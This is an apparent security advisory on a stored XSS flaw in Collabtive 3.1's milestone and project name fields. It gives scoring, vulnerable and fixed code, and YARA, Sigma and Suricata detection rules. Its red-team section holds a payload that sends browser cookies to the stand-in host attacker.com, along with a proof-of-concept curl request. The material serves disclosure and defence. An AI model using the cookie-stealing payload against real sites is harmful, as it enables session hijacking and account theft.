CVE-2024-48707

Executive Summary

CVE-2024-48707 identifies a stored Cross-Site Scripting (XSS) vulnerability in Collabtive 3.1, an open-source project management tool. The flaw exists in the managemilestone.php and admin.php files, where the name parameter is not properly sanitized before being stored and later rendered in the browser. An attacker can inject arbitrary JavaScript code via the name parameter during milestone creation/editing (action=add or action=edit in managemilestone.php) or project addition (action=addpro in admin.php). This allows for session hijacking, credential theft, or defacement. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for unpatched instances.

Supply Chain & Package Security

Collabtive is a PHP-based application, not distributed via NPM, PyPI, Go, or Ruby. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their Collabtive installation and consider manual code fixes.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – A user must click on a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The injected script can affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction but can lead to account compromise if an admin or project manager is targeted.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The name parameter in managemilestone.php and admin.php is directly echoed into the HTML response without proper sanitization or encoding. When a user submits a malicious payload (e.g., <script>alert('XSS')</script>) via the name field, it is stored in the database. When another user views the milestone or project list, the payload executes in their browser.

Affected Endpoints:

• managemilestone.php?action=add or action=edit – Milestone name field.
• admin.php?action=addpro – Project name field.

Root Cause: Lack of output encoding and input validation. The application uses PHP's $_POST or $_GET directly without functions like htmlspecialchars() or strip_tags().

Vulnerable vs. Patched Code

Vulnerable Code (Collabtive 3.1):

// In managemilestone.php
$name = $_POST['name'];
// ... stored in database
// Later rendered without sanitization:
echo "<td>" . $name . "</td>";

Patched Code (Manual Fix):

// In managemilestone.php
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... stored in database
// Rendered safely:
echo "<td>" . $name . "</td>";

The same fix should be applied to admin.php for the name parameter.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Collabtive 3.1 instance (e.g., Docker container or local installation).
• Access to the web interface (no authentication required for the XSS trigger, but admin privileges may be needed to create milestones/projects).

Exploit Steps:

1. Identify a target Collabtive instance.
2. Craft a malicious payload, e.g., <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>.
3. Submit the payload via the name parameter:
   • For milestone: POST /managemilestone.php?action=add with name=<script>alert(1)</script>.
   • For project: POST /admin.php?action=addpro with name=<script>alert(1)</script>.
4. When an admin or user views the milestone/project list, the script executes.

Example cURL Command:

curl -X POST http://target/collabtive/managemilestone.php?action=add \
  -d "name=<script>alert('XSS')</script>&desc=test&project=1"

Blue Team (Defense & Detection)

Detection:

• Monitor web logs for unusual name parameters containing <script> or onerror attributes.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply the manual code fix (use htmlspecialchars()).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly update Collabtive or migrate to a supported alternative.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to managemilestone.php or admin.php with name parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Collabtive server (if cookie exfiltration occurs).

• File IOCs:

  • Modified managemilestone.php or admin.php files (if attacker uploads a webshell).
  • Suspicious entries in the database milestones or projects tables with JavaScript in the name field.

• Log IOCs:

  • Web server logs showing POST /managemilestone.php?action=add with name=<script>.

Detection Engineering

YARA Rule

rule Collabtive_XSS_CVE_2024_48707 {
    meta:
        description = "Detects XSS payloads in Collabtive name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48707"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $name_param = "name="
    condition:
        $name_param and $xss_payload
}

Sigma Rule

title: Collabtive XSS via name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Collabtive 3.1
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'managemilestone.php?action=add'
            - 'managemilestone.php?action=edit'
            - 'admin.php?action=addpro'
        cs-uri-query|contains: 'name='
        cs-uri-query|re: '<script[^>]*>.*</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in project names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48707 Collabtive XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"managemilestone.php"; http_uri; content:"action=add"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Edit managemilestone.php and admin.php to sanitize the name parameter using htmlspecialchars().
2. Web Application Firewall (WAF): Deploy rules to block XSS payloads in the name parameter.
3. Content Security Policy (CSP): Add script-src 'self' header to prevent inline script execution.

Long-Term Recommendations:

• Upgrade to a patched version of Collabtive if available, or migrate to a supported project management tool.
• Conduct a security audit of the entire application for similar vulnerabilities.
• Implement input validation and output encoding as standard practice.

Patch Status: No official patch from vendor. Manual intervention required.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert